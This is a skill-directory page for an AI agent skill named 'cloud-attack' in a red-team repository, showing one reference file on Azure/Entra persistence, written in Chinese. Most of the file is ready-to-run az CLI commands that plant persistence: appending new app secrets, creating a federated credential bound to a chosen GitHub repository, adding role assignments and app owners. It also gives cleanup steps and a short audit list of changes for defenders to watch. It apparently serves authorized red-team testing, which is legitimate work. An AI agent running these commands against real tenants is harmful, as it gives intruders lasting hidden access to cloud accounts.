pale-knight/redteam-skill / skills/cloud-attack
cloud-attack
FlaggedCloud control-plane exploitation for AWS, Azure/Entra, GCP, and Alibaba Cloud: IAM/RAM privilege escalation, impersonation, cross-account trust, serverless/compute control, and cloud-native persistence. Host OS persistence/C2 after root/SYSTEM belongs to /post. K8s RBAC belongs to /k8s. Operator chooses next modules; new identities default to /cloud-recon first.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 3.8 KB |
| references/alibaba-persistence.md | markdown | 2.0 KB |
| references/alibaba-privesc-paths.md | markdown | 3.0 KB |
| references/aws-persistence.md | markdown | 2.7 KB |
| references/aws-privesc-paths.md | markdown | 3.3 KB |
| references/aws-serverless.md | markdown | 2.1 KB |
| references/azure-persistence.md | markdown | 2.1 KB |
| references/azure-privesc-paths.md | markdown | 1.8 KB |
| references/gcp-persistence.md | markdown | 1.5 KB |
| references/gcp-privesc-paths.md | markdown | 1.9 KB |
references/azure-persistence.md
View on GitHub# Azure / Entra Cloud-native Persistence
## 1. App Password Credential
条件:对目标 App 有新增 credential 的权限。
先列原 credential metadata:
```bash
az ad app credential list --id <APP_ID> -o json > app-creds-original.json
```
新增密码时使用当前 CLI 支持的 append 方式,避免意外替换现有凭据:
```bash
az ad app credential reset \
--id <APP_ID> \
--append \
--display-name redteam-validation
```
记录返回的新 secret(以后无法从 list 重新读取明文)。
验证:使用 App/Service Principal 登录并确认实际权限。
清理:按新增 credential 的 keyId 删除:
```bash
az ad app credential delete --id <APP_ID> --key-id <KEY_ID>
```
## 2. Federated Identity Credential
无长期 client secret 的持久访问路径。
列出:
```bash
az ad app federated-credential list --id <APP_ID>
```
示例 `credential.json`:
```json
{
"name": "redteam-validation",
"issuer": "https://token.actions.githubusercontent.com/",
"subject": "repo:ORG/REPO:environment:Production",
"audiences": ["api://AzureADTokenExchange"]
}
```
创建:
```bash
az ad app federated-credential create \
--id <APP_ID> \
--parameters credential.json
```
清理:
```bash
az ad app federated-credential delete \
--id <APP_ID> \
--federated-credential-id redteam-validation
```
## 3. RBAC Assignment Persistence
条件:Owner / User Access Administrator / RBAC Admin 等可以写 role assignments。
```bash
az role assignment create \
--assignee-object-id <PRINCIPAL_OBJECT_ID> \
--assignee-principal-type ServicePrincipal \
--role <ROLE_NAME> \
--scope <SCOPE>
```
验证后删除新增 assignment。
## 4. App Owner Persistence
如果有权限新增 App owner,新的 owner 可能进一步管理 credential。只在靶场/授权范围验证,记录 owner object id 并在结束时 remove。
## 5. Detection / cleanup
重点审计:
```text
Application credential changes
Federated identity credential changes
Directory role / app owner changes
Azure RBAC role assignment changes
Function/Automation config changes
```
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deployment | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |